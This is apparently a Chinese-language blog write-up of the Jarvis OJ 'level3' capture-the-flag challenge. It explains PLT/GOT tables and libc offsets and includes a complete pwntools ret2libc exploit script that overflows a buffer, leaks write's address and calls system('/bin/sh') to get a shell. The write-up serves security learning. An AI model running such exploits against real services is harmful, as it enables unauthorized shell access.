Jarvis oj level3
阿新 • • 發佈:2018-12-22
下載下來發現有level3檔案和libc.so檔案,先checksec,和level2差不多,接著ida開啟level3,沒找到system函式和bin字串,沒什麼辦法了。接著去看so檔案,libc是Linux下的ANSI C的函式庫。找到了system函式和bin字串。那麼怎麼利用呢?
首先了解plt和got表。連結
我是這麼理解的:plt表中存放的是函式在got表中該項的地址,got表存放的是函式在記憶體中的真實地址,也就是說plt[write]指向got[write],got[write]指向write函式在記憶體中的地址。而plt表在伺服器和客戶機是一樣的,不一樣的是函式在記憶體中的地址。程式執行後加載動態庫,把動態庫中的相應函式地址填入GOT表。同時還有個知識點,libc檔案中不同函式、資料之間的偏移量在伺服器和客戶機中是一樣的。
因此思想是首先利用write函式將伺服器中函式的地址洩露,構造write(got[write])。
低 | |
---|---|
pad | |
ebp | |
ret_addr | |
write的引數1,從右到左 | |
write的引數2 | |
write的引數3 | |
高 |
得到伺服器中write函式的真實地址。
由於函式在記憶體中距so檔案開頭地址是一樣的,因此算出offset=伺服器函式地址-本地地址,伺服器地址即為本地地址+offset。
指令碼:
from pwn import * conn=remote("pwn2.jarvisoj.com","9879") e=ELF("level3") libc=ELF("libc-2.19.so") write_addr=e.symbols['write'] vul_addr=e.symbols['vulnerable_function'] got_addr=e.got['write'] conn.recvuntil("Input:\n") payload1="a"*0x88+"bbbb"+p32(write_addr)+p32(vul_addr)+p32(1)+p32(got_addr)+p32(4) conn.send(payload1) temp = conn.recv(4) true_address = u32(temp[0:4]) print hex(true_address) offset=true_address-libc.symbols['write'] bin_addr=libc.search("/bin/sh").next()+offset sys_addr=libc.symbols['system']+offset payload2="a"*0x88+"bbbb"+p32(sys_addr)+"junk"+p32(bin_addr) conn.send(payload2) conn.interactive()
注意點:
我在p32裡運算有問題,拉出來就可以了。
還是有點沒想明白,反正先記住:
func1_addr-libc.symbols[func1]==func2_addr-libc.symbols[func2]
,
不知道有沒有問題。
好像libc不能用got[’’]